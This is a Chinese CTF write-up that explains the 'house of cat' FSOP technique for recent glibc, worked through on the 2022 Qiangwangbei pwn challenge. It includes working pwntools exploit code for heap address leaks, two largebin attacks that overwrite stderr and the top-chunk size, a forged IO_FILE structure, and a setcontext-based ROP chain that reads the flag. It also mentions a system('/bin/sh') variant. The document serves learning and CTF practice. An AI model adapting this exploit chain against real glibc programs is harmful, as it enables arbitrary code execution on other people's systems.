house-of-cat

2022强网杯的house of cat。高版本下UAF的直接利用。看了很多wp发现在高版本下,基本所有攻击都聚焦于FSOP方向了。看来这才是大势所趋。

注意到前几天dice_hope也有一个一模一样的题,简单做法是改libc的got表为system,也可以FSOP泄露一个栈地址来劫持返回地址。但是这道题开了沙箱,也就是只能用第二种方法了。

着重参考看雪链接-house of cat

house of cat攻击手法

目前这种攻击手法适用于任何版本。包括最新的2.35.其利用条件为

  1. 能够任意写一个可控地址
  2. 能够泄露堆地址和libc基址
  3. 能够触发IO流(FSOP或触发__malloc_assert),执行IO相关函数

本质上来说FSOP的核心还是可控地址写一个可控数据,之后再FSOP的作用下完成调用vtable里面的函数,完成的攻击。

注意vtable在glibc2.24之后就有了地址检查,也就是判断vtable整体位置。防止伪造整个vtable。这也就直接导致了house of orange在2.23之后的版本中无法使用。以下是具体的检查代码。

1
2
3
4
5
6
7
8
9
10
11
void _IO_vtable_check (void) attribute_hidden;
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables -__start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr -(uintptr_t)__start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable;
}

具体看看是怎么检查的。可以看到第七行是检查当前vtable和libc的vtable开始地址之间的偏移,如果大于一个预定好的大小范围久做更细致的vtable检查。也就是说我们难以伪造整个vtable。但是对于其中的函数指针检查还是相对宽松的。因此我们可以通过改vtable中的函数指针来执行函数。

我们这里修改的函数为_IO_WOVERFLOW。可以具体看一下它的代码和汇编代码

1
2
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
1
2
3
4
5
6
7
8
9
10
11
0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64
0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx
0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>

0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]

这里的汇编源代码如下

1
2
3
4
5
6
7
8
int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
......
}

可以从上面的汇编中很清楚的看到以下关键的内容

1
2
3
4
5
0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]

这里的寄存器rdi(fake_IO的地址)、rax和rdx都是我们可以控制的,在开启沙箱的情况下,假如把最后调用的[rax + 0x18]设置为setcontext,把rdx设置为可控的堆地址,就能执行srop来读取flag;如果未开启沙箱,则只需把最后调用的[rax + 0x18]设置为system函数,把fake_IO的头部写入/bin/sh字符串,就可执行system(“/bin/sh”)

下面看一下house of cat的模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fake_io_addr=heapbase+0xb00
next_chain = 0
fake_IO_FILE=p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)#
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=setcontext_rdx
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

house of cat题目

这里就选择2022强网杯pwn里面的house of cat作为例子。这也是解出人数最多的一个pwn题目。

首先看看这题是存在沙箱保护的。并且限制了文件描述符只能为0.

image-20220802150240535

这道题给我们的条件是可以分配大小为size <= 0x417 || size > 0x46F的chunk,最多分配16个,可以edit两次,并且每次只能修改30字节。free的时候存在UAF。另外还有show()函数。

首先这道题需要逆一下怎么输入能够通过输入条件的检验,我比赛的时候就卡在这个地方就卡了两个小时。。。输入的结构是这样的

1
2
LOGIN | r00t QWB QWXFadmin
CAT | r00t QWB QWXF$\xff

之后就可以类似堆题一样,做上述的四种操作。

step1 泄露地址

完成上述的FSOP我们首先需要泄露堆地址和libc地址。由于UAF,这两者泄露比较容易。堆地址可以直接从largebin中拿到,而堆地址需要建立两个largebin的group,之后一并输出就能拿到一个包含下一个largebin group地址的chunk,也就能拿到堆地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
input_str1 = b"LOGIN | r00t QWB QWXFadmin"
io.sendafter('mew mew mew~~~~~~',input_str1)
input_str2 = b"CAT | r00t QWB QWXF$\xff" # replace admin with command
io.sendafter('mew mew mew~~~~~~',input_str2)
add(0,0x420,'a')
io.sendafter('mew mew mew~~~~~~',input_str2)
add(1,0x430,'b')
io.sendafter('mew mew mew~~~~~~',input_str2)
add(2,0x418,'c')
io.sendafter('mew mew mew~~~~~~',input_str2)
delete(0)
# io.sendafter('mew mew mew~~~~~~',input_str2)
# add(0,0x420,'aaaaaaaa')
io.sendafter('mew mew mew~~~~~~',input_str2)
show(0)


libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success("libc_info: " + hex(libc_info))
libc_base = libc_info - 0x219ce0
success("libc_base; "+ hex(libc_base))
# debug()
io.sendafter('mew mew mew~~~~~~',input_str2)
add(3,0x440,'d') # alloc a next largebin group
# debug()
io.sendafter('mew mew mew~~~~~~',input_str2)
show(0)
heap_info = u64(io.recvuntil('\x55')[-6:].ljust(8,b'\x00'))
success("heap_info: " + hex(heap_info))
heap_base = heap_info - 0x000290
success("heap_base: " + hex(heap_base))

step2 largebin attack

关于largebin attack的细节可以参考我之前学习的文章。注意在2.31之后对于largebin的利用也有一些变化。这里就要利用最后一种方式。

可以看到程序给了我们两个edit的机会。第一次:我们要用largebin attack改掉libc中stderr的指针,改向一个chunk,里面是伪造的FILE table。第二次:我们要用largebin attack改掉top chunk的size,从而触发malloc_assert的IO流错误。回顾一下largebin attack在2.31之后的利用手段,总结如下。

分配两个chunk,他们两个大小需要在一个largebin范围内,但是不能相同(例如0x418和0x428)。记小的chunk为A,大的为B。

首先free(B),B会进入unsorted bin,之后add一个更大的块,将B放入largebin中。

修改B的bk_nextsize为target-0x20。

释放A,A进入unsortedbin

add一个更大的块,让A进入largebin。此时target中就会被写上A所在的地址。

如果把target写成stderr,A中布置好一个fake IO_FILE结构体,那么就可以完成一次FSOP。

第一次攻击

我们首先来看这道题已经对堆做的相关操作。(也就是到后面泄露堆为止的操作)

操作 index 大小
add 0 0x420
add 1 0x430
add 2 0x418
delete 0 0x420
add 3 0x440

现在0在largebin中,我们第一步就是修改0号chunk的next_size部分为target-0x20。这里设置为stderr-0x20即可。

之后我们将2释放,也就是delete(2),现在chunk2就在unsortedbin中。我们申请一个大的块,将2放入largebin,就能完成这次的攻击。具体的代码如下。这里一开始变成了delete(6),是一样的,先把2取出来给6,因此2和6相同了。

1
2
3
4
5
6
add(6,0x418,payload1) # 申请一个比原先chunk小的块,但是要在一个size map里面
delete(6) # 删掉chunk6,进入unsortedbin

# largebin attack,修改bk_nextsize
edit(0,p64(libc_base+0x21a0d0)*2 + p64(heap_base+0x290) + p64(stderr-0x20))
add(5,0x440,'aaaaa') # 使得chunk6从unsortedbin进入largebin

第二次攻击

第二次攻击的目标是top chunk的size字段。方法和之前类似。不过现在的target address变成了堆的基地址加上一个偏移量。代码如下所示

1
2
3
4
5
6
7
add(8,0x430,'eee') # 小的chunk
delete(5) # 删除5,则5进入unsortedbin
add(10,0x450,p64(0)+p64(1)) # put 5 into largebin
delete(8) # 删除8,现在8在unsortedbin中

# largebin attack,修改bk_nextsize为top chunk的size部分,想要写入一个大数作为生意空间,引起报错,其余尽量保持不变。
edit(5,p64(libc_base+0x21a0e0)*2+p64(heap_base+0x1370)+p64(heap_base+0x28e0-0x20+3))

此时如果我们再去add一个大块,将会触发以下内容

  1. 对unsortedbin进行检查,将小的chunk放到largebin
  2. 触发largebin attack,修改top chunk的size
  3. 分配一个块的时候触发top chunk size的检查,触发FSOP。而此时stderr正是我们在第一次攻击中布置好的伪造的chunk。此时通过chunk中不同位置判断条件触发_IO_switch_to_wget_mode在跳转到setcontext就可以完成攻击了。

step3 setcontext

由于这道题存在沙箱,我们需要使用set_context+0x3d。具体使用方法是找到libc中的如下函数。蓝色框中的位置

image-20220803190420908

跳转到的位置

image-20220803190452900

因此我们可以将rdx+0xa8作为ROP的开始,后面这个地址将作为新的栈顶指针。之后布置一系列寄存器作为参数传递。当然在我们已经拿到libc之后,也不用管理参数,后面ROP自行修改即可。

构造ROP和FILE

伪造FILE

这里是这道题最难的地方。我们怎么构造伪造的FILE结构体,布置好参数,跳转到set context执行命令呢?我们重点分析以下payload,这是fake file的具体内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
fake_IO_FILE = p64(0)*4
fake_IO_FILE +=p64(0) # heap_base+0xb30,rax1
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(0) # rax2
fake_IO_FILE +=p64(heap_base+0xc18-0x68) # rdx
fake_IO_FILE +=p64(setcontext+61)# call addr, here is [rax+0x18]
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0 ) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30)*2 #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+0x2160d0) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(heap_base+0xb30+0x10) # rax2 rax+0xe0
flag_addr = heap_base + 0x17d0
payload1 = fake_IO_FILE + p64(flag_addr) + p64(0) + p64(0)*5+p64(heap_base+0x2050)+p64(ret)

结合以下汇编分析。回忆一下我们首先通过一些flags的位置变化来让stderr执行到这个函数。此时我们只有rdi是可控的。rdi也就是这个fake file的指针。指向一开始的四个p64(0)。

image-20220803204441077

首先看我们把[rdi+0xa0]移动到rax。在上面的伪造FILE中,也就是heap_base+0xb30。而这个地址,实际上指向的是什么呢?我们动态调试一下。用以下命令下断点。

1
gdb.attach(io,'b* (_IO_wfile_seekoff)')

image-20220803204944167

这一步之后,就是上面wget相关函数。我们在运行完将结果给到rax之后,看一看rax。发现其实是伪造FILE的第二行。

image-20220803205215090

image-20220803205116039

接下来两句汇编

1
2
3
  0x7fd903968d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
0x7fd903968d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]

执行之后rdx是

image-20220803205425221

image-20220803205837782

这个地址里面存的内容是什么呢?不着急,我们往下看。

不过接下来,到达了以下汇编部分

image-20220803205954089

这里经过cmp之后,并没有在jmp跳转。直接进入了后面。好,在这里我们重新设置了rax。而这里的rax也和我们最重要调用的函数息息相关。我们原本的rax是

image-20220803210235857

之后,加上0xe0并解引用之后的结果如下。而这部分在Fake_file中的体现也就是第18行,在未解引用的时候位于FAKE_FILE第四行1的位置,解引用之后加上0x18的偏移量,正好是setcontext的地址。

image-20220803210429210

image-20220803210700762

好,在进入setcontext之前我们看一眼寄存器。

image-20220803210723931

setcontext的具体构造

在setcontext中,我们将要经过两次跳转。第一次的jump是必然发生的。但是第一次跳转我们其实只需要其中的一条汇编,也就是修改rsp为ROP的起始位置(注意看现在rsp为pop rdi了)。注意看这里是根据rdx的偏移来放置内容的。好,到这里就明确了,之前我们在fake_file中放置的rdx的值(见FAKE_FILE旁的注释)实际上和最终的ROP链息息相关。怎么计算呢?看到这里取出的是[rdx+0xa0],那么实际上就是在第9个chunk中的ROP链==所在的地址==减去0xa0

image-20220803211025031

如下所示。注意不是ROP链的地址,是所在的地址。而这个地址我们可以人为的写在某个地方。在这里,就是FAKE_FILE最后末尾的p64(heap_base+0x2050)

image-20220803211921211

接下来的几个赋值并不重要。重要的是我们一定会完成这个跳转。注意这里push了一个rcx。这个也是当前rdx偏移计算的。**这个值正是我们伪造的FILE的最后一个字段内容p64(ret)**。其实就是一个ret。

image-20220803212712115

其实跳转之后的汇编也可以用来布置参数(当GADGET比较少的情况下)。我们此时rdx依然是之前的位置没有变。可以通过此处布置参数(可以看到rsi,rdi都在里面了)也可以在后面ROP的时候自己构造。这里提前防止参数的好处就是在无法泄露堆地址的情况下,可以直接获取堆对应位置字符串。如果后续使用ROP需要知道堆地址。

image-20220803212846993

终于,到了ROP

ROP

image-20220803213503330

这里由于只允许文件描述符0,因此先关闭0,之后打开文件的时候文件描述符自动会变成0。

1
2
3
4
5
payload = p64(pop_rdi)+p64(0)+p64(close)+p64(pop_rdi)+p64(flag_addr)+\
p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscallret)+\
p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flag_addr)+\
p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(read_func)+\
p64(pop_rdi)+p64(1)+p64(write_func)

其实之后也就不复杂了。先close(0)之后就是正常的ORW。由于我们当前有储存在chunk的文件名“flag”,也有堆地址,可以任意指定一个地方储存flag内容。因此剩下的就不复杂了。我们也可以在这里布置参数,就不需要setcontext布置了。

这里还学到一个就是libc的read write等参数调用和系统调用是一模一样的。其实这里用了glibc的,用系统调用也完全没有问题。(并且好像glibc也就是在外面套了一层壳)

image-20220803214011619

image-20220803214029132

image-20220803214112302

至此这道题结束了。

总结

构造方法

这道题最重要的是提供了一种IO_FILE中,控制其重要寄存器rdx,并且调用set context的一种手法。首先这道题用largebin attack改了stderr,写成了一个chunk,之后触发malloc_assert,在chunk中写FAKE_FILE,触发set_context,完成ROP。如果这道题没有开沙箱,那么直接将chunk开头的部分写成/bin/sh(将会存在rdi中),调用的函数写成system即可。

回顾一下构造的IO_FILE。看看要改什么地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
fake_IO_FILE = p64(0)*4
fake_IO_FILE +=p64(0) # heap_base+0xb30,rax1
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(0) # rax2
fake_IO_FILE +=p64(heap_base+0xc18-0x68) # rdx
fake_IO_FILE +=p64(setcontext+61)# call addr, here is [rax+0x18]
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0 ) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30)*2 #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+0x2160d0) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(heap_base+0xb30+0x10) # rax2 rax+0xe0
flag_addr = heap_base + 0x17d0
payload1 = fake_IO_FILE + p64(flag_addr) + p64(0) + p64(0)*5+p64(heap_base+0x2050)+p64(ret)

从上往下看,这里的第5行,需要改成存放ROP指令的chunk的地址减去0xa0之后的数值存放的地址。用一张图表示,不然太拗口了。就是填0x210。而地址A-0xa0的数值,可以填在这个FILE结构体后面(就相当于下面绿色的块,不过填在哪里都可以)

image-20220803221156089

第六行填写要调用的函数的地址。

第12行填写指向第二行p64(0)所在的地址

第16行写入上面这个固定的内容,绕过vtable的检验。可以通过以下方式找到。

image-20220803221641708

第18行rax2将会指向第四行的p64(1)的位置,影响到后面call的函数。

最后一行中末尾还需要加一个ret的gadget,通过在set_context中rdx的偏移找到,并且用于在ROP中(因为一开始会push一个rcx,就是这个值)

利用条件

  1. 泄露libc和堆(很多地方用到了偏移)
  2. 能够通过largebin attack或者tcache stashing unlink等修改stderr(可控地址写入可控值)
  3. 能够触发malloc_assert流(例如top chunk的size出错,基本上所有malloc相关的出错都会调用assert)

参考链接

https://bbs.pediy.com/thread-273895.htm#msg_header_h2_4

文章目录
  1. 1. house of cat攻击手法
  2. 2. house of cat题目
    1. 2.1. step1 泄露地址
    2. 2.2. step2 largebin attack
      1. 2.2.1. 第一次攻击
      2. 2.2.2. 第二次攻击
    3. 2.3. step3 setcontext
    4. 2.4. 构造ROP和FILE
      1. 2.4.1. 伪造FILE
      2. 2.4.2. setcontext的具体构造
      3. 2.4.3. ROP
    5. 2.5. 总结
      1. 2.5.1. 构造方法
      2. 2.5.2. 利用条件
  3. 3. 参考链接
|